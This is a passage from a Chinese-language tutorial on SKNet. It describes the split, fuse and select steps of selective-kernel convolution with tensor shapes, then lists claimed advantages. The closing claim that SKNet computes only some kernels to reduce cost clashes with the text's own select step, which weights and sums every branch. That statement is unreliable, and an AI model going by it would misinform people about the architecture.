split:对特征图进行多分支分离卷积,各分支使用不同的卷积核(感受野不同)进行特征提取。(并未对原始特征图进行拆解分离,只是使用不同的卷积核对原始特征图进行卷积操作)。假设分支为n,则特征图维度变换为 (c, h, w) -> (n, c, h, w),原文中n=2。
Fuse:将多个分支的特征图提取结果相加。特征图维度变换为 (n, c, h, w) -> (c, h, w)。再通过全局平均池,特征图维度变换为 (c, h, w) -> (c, 1, 1),然后利用全连接层进行降维(限制了最低维度,通过全连接层生成d×1的向量(图中的z),公式如图中所示(δ表示ReLU激活函数,B表示Batch Noramlization,W是一个d×C的维的)。d的取值是由公式d = max(C/r,L)确定,r是一个缩小的比率(与SENet中相似),L表示d的最小值,原文实验中L的值为32。),再利用两个(或多个,和分支数目相同,原论文中为两个)全连接层进行升维,得到两个(多个)维度同降维前相同的特征图(向量)。在对两个特征向量进行softmax处理。假设分支为n,则特征图维度为 n个(c, 1, 1) ,原文中n=2,即a->(c, 1, 1), b->(c, 1, 1)。
select:利用softmax处理后的多个特征向量分别乘以第一步中的多分支提取的特征图结果。特征维度变化为n个(c, 1 ,1) * n 个(c, h ,w) = (n, c, h, w)。最后将n个特征图进行相加。
3. 优势 SKNet的设计在以下几个方面具有优势:
多尺度信息融合 通过选择性地应用不同尺度的卷积核,SKNet能够有效地融合多尺度的特征信息。这有助于网络捕捉不同层次的视觉特征,提高了特征的表征能力。
自适应性 选择模块使网络能够自适应地选择卷积核的尺度,从而适应不同任务和图像的特点。这种自适应性能够使网络在各种场景下都能表现出色。
减少计算成本 尽管引入了多尺度卷积核,但由于选择模块的存在,SKNet只会选择一部分卷积核进行计算,从而减少了计算成本,保持了网络的高效性。